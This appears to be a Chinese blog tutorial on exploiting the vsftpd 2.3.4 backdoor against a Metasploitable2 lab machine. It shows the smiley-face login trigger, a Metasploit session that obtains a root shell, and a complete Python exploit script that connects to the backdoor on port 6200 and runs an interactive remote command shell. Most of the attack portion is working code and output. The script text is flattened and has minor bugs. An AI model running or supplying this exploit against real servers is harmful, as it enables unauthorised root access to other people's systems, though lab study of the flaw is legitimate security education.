vsftpd2.3.4|vsftpd2.3.4 后门利用脚本编写

安全开发-Vsftpd2.3.4后门利用脚本编写 来自法老的博客
Python专题
Created At : 2021-01-29 16:59
Views :15
一:漏洞起源 vsftpd2.3.4|vsftpd2.3.4 后门利用脚本编写
文章图片


二:手动利用 靶场环境

定位 环境 IP Address
攻击机 Python3.8 192.168.31.33
靶机 Metasploitable2 192.168.31.20
【vsftpd2.3.4|vsftpd2.3.4 后门利用脚本编写】步骤一:FTP登录
使用用户名+:)来进行用户登录,密码随便填写,连接上后会开启后门侦听6200端口来等待命令连接

vsftpd2.3.4|vsftpd2.3.4 后门利用脚本编写
文章图片

步骤二:Python脚本发送命令
import socket#导入socket库 ip = "192.168.31.33" port = 6200 s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((ip, 6200))#对目标建立socket连接 s.settimeout(1.5) host = str.encode('id -u -n' + '\n')#执行id命令查询当前用户身份信息 s.send(host)#发送命令 hostt = s.recv(1024).decode('utf-8')#接受命令 print(hostt)#打印命令执行结果

python复制代码

vsftpd2.3.4|vsftpd2.3.4 后门利用脚本编写
文章图片

三:MSF攻击
msf6 > search vsftpd Matching Modules ================ #NameDisclosure DateRankCheckDescription ---------------------------------------- 0exploit/unix/ftp/vsftpd_234_backdoor2011-07-03excellentNoVSFTPD v2.3.4 Backdoor Command ExecutionInteract with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoormsf6 > use exploit/unix/ftp/vsftpd_234_backdoor [*] No payload configured, defaulting to cmd/unix/interact msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.31.33 RHOSTS => 192.168.31.33 msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit [*] 192.168.31.33:21 - Banner: 220 (vsFTPd 2.3.4) [*] 192.168.31.33:21 - USER: 331 Please specify the password. [+] 192.168.31.33:21 - Backdoor service has been spawned, handling... [+] 192.168.31.33:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.31.33:6200) at 2021-01-29 17:28:46 +0800 whoami root

xaml复制代码
四:攻击脚本编写
import socket#网络编程 import time#处理时间 import sys#接受参数def exploit(ip, port): try: ftp = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ftp.connect((ip, port))#对目标IP地址及端口进行连接 check = ftp.recv(1024).decode('utf-8')#接受返回来的数据并对其进行解码操作 socket.setdefaulttimeout(5)#设置请求超时时间 if "vsftpd 2.3.4" in check.lower():#检测banner信息中是否存在漏洞信息 ftp.send(b'USER letmein:)\n')#发送攻击数据,记住笑脸 ftp.send(b'PASS invaild\n')#发送攻击数据 time.sleep(2)#等待2秒钟时间 ftp.close()#关闭连接 print("[+] SUCCESSFUL CONNECT?ON") else: print("[-] Not work vsftpd 2.3.4") except Exception as f:#异常信息给到变量f print('[-] CONNECTION FAILED') print(f)#打印异常信息 ftp.close()#关闭连接 sys.exit(1)#退出程序并返回1try: arkakapi = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#调用socket库 arkakapi.connect((ip, 6200))#对目标IP地址及端口进行连接 arkakapi.setdefaulttimeout(1.5)#设置请求超时时间为1.5秒 print('[*] SESSION CREATED') print('[!] Interactive shell to check >> use command shell_check') host = str.encode('id -u -n' + '\n')#漏洞验证 arkakapi.send(host)#发送命令 hostt = arkakapi.recv(1024).decode('utf-8')#打印输出当前用户信息 while True: sendnude = input(ip + '@' + str(hostt.strip()) + "#: ")#接受用户输入要执行的命令 if sendnude.lower() == 'shell_check':#shell终端检测 print('[*]Interact?ve shell checked...') komut = str.encode((tty + '\n')) arkakapi.send(komut) print(arkakapi.recv(1024).decode('utf-8')) else: try: komut = str.encode((sendnude + '\n'))#将输入的命令添加换行操作在进行UTF-8编码 arkakapi.send(komut)#发送要执行的命令 responseq = arkakapi.recv(1024).decode('utf-8')#接受并解码放回来的数据 print(responseq)#打印命令执行结果 except socket.timeout: passif sendnude.lower() == 'exit':#shell中判断退出 print('[*] SESSION CLOSED') arkakapi.close() sys.exit(1) except Exception as f:#异常处理 print('[!] Failed to connect to backdoor') print(f)if __name__ == '__main__':# 判断python脚本是否是独立执行 if len(sys.argv) < 3:# 脚本参数数量判断 print('Usage ./VSFTPexp.py ') print('Example ./VSFTPexp.py 127.0.0.1 21') else: exploit(sys.argv[1], int(sys.argv[2]))#函数使用第一个参数传递进入字符串类型第二个参数传递进入为类型转换后的整型

python复制代码
执行结果

vsftpd2.3.4|vsftpd2.3.4 后门利用脚本编写
文章图片

    推荐阅读